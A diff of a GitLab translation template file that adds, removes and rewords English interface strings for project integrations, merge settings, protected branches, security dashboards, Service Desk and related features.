+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23895,25 +24540,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23925,7 +24573,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23937,7 +24585,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23949,10 +24597,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23985,10 +24633,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -24012,15 +24663,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -24051,7 +24696,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -24060,7 +24705,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -24081,16 +24726,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -24102,12 +24744,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -24135,10 +24780,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24672,6 +25317,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24693,7 +25347,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24714,6 +25368,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24888,7 +25545,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -25077,7 +25734,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -25244,7 +25901,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25256,7 +25913,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25280,6 +25937,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25328,9 +25988,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25577,6 +26234,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25624,7 +26284,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25650,6 +26310,12 @@ msgstr[3] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25776,6 +26442,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25872,6 +26541,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26188,7 +26860,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26332,6 +27007,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26365,9 +27043,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26464,6 +27139,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26482,6 +27160,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26506,9 +27187,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26560,6 +27238,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26611,6 +27292,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26620,6 +27304,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26847,6 +27534,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26922,13 +27612,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26937,10 +27633,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26955,6 +27651,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -27012,16 +27711,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -27087,15 +27798,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -27147,9 +27849,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -27159,9 +27858,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27198,6 +27894,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -27207,7 +27906,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27237,9 +27936,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27294,9 +27999,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27390,6 +28092,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27528,19 +28233,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
+msgstr ""
+
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27642,6 +28371,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27696,7 +28428,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27708,6 +28440,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27729,6 +28464,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27938,9 +28676,15 @@ msgstr[3] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27959,6 +28703,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28199,6 +28946,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28877,13 +29627,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28898,9 +29648,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28913,7 +29660,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -29003,9 +29750,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -29021,9 +29765,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -29081,9 +29822,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29713,6 +30451,13 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29874,9 +30619,6 @@ msgstr[3] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29949,6 +30691,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29976,6 +30721,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29988,6 +30736,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -30052,6 +30803,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -30112,6 +30866,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30184,6 +30941,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30235,6 +30995,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30283,6 +31046,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30310,6 +31079,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30343,9 +31115,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30589,6 +31358,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30727,7 +31499,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30811,6 +31583,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30820,6 +31595,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30832,6 +31610,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -31138,9 +31919,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31237,9 +32015,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31542,6 +32317,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31584,9 +32368,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31614,7 +32395,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31719,6 +32500,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
